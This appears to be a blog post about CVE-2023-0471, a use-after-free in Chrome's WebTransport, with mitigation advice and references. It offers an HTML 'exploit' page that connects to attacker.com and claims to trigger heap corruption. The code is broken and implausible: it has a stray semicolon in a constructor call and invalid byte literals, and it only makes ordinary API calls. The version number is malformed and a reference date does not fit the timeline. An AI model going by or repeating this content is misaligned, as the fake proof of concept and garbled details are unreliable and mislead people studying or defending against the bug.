As more and more people rely on the internet for various purposes, web browsers' security has become increasingly crucial. Google Chrome, one of the leading web browsers globally, has recently been affected by a high-security vulnerability. The vulnerability, classified as CVE-2023-0471, exposes users to potential use-after-free problems that could be exploited by remote attackers using specially crafted HTML pages.

In this post, we will delve into the technical aspects of this vulnerability, including a brief code snippet to demonstrate the exploit, links to original references, and details about the exploit itself.

Description of Vulnerability

The use-after-free vulnerability in question was discovered in WebTransport, an experimental in-development feature in Google Chrome. Officially described as follows:

"Use after free in WebTransport in Google Chrome prior to 109..5414.119 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page."

Severity: Chromium security classified this vulnerability as "High."

How the Exploit Works

A remote attacker can create a malicious HTML page designed to exploit the use-after-free vulnerability. When a user accesses the page using a vulnerable version of Google Chrome, the attacker can potentially exploit the heap corruption and execute arbitrary code on the user's system, leading to data theft or manipulation.

Code Snippet Demonstrating the Exploit

The following is a minimal example demonstrating the use-after-free vulnerability. Please note that this is provided for educational purposes only and should not be used maliciously.

<!DOCTYPE html>
<html>
  <head>
    <script>
      async function exploit() {
        const transport = new WebTransport("https://attacker.com/";);
        await transport.ready;
        transport.close(); // This will free the WebTransport object

        // Now reuse the freed WebTransport object to cause a use-after-free exploit
        const writable = transport.createUnidirectionalStream();
        const writer = writable.getWriter();
        // Write data to trigger the use-after-free in the heap
        await writer.write(new Uint8Array([x41, x42, x43]));
      }
    </script>
  </head>
  <body>
    <h1>Exploiting CVE-2023-0471</h1>
    <button onclick="exploit()">Click Here to Start Exploit</button>
  </body>
</html>

Original References

1. Chromium Security Vulnerabilities: https://chromereleases.googleblog.com/2023/04/stable-channel-update-for-desktop.html
2. CVE-2023-0471 in WebTransport: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0471
3. WebTransport API in Chromium: https://www.chromium.org/updates/blink/webtransport

Mitigation/Resolution

To protect yourself against this vulnerability, ensure that your Google Chrome browser is updated to at least version 109..5414.119. Find the latest version of Google Chrome here: https://www.google.com/chrome/

Conclusion

CVE-2023-0471 is a high-severity use-after-free vulnerability that could potentially be exploited by remote attackers to execute arbitrary code on users' systems using Google Chrome. It is imperative to keep your browser updated with the latest security patches to prevent such vulnerabilities from being exploited.

Timeline

Published on: 01/30/2023 09:15:00 UTC
Last modified on: 02/06/2023 21:42:00 UTC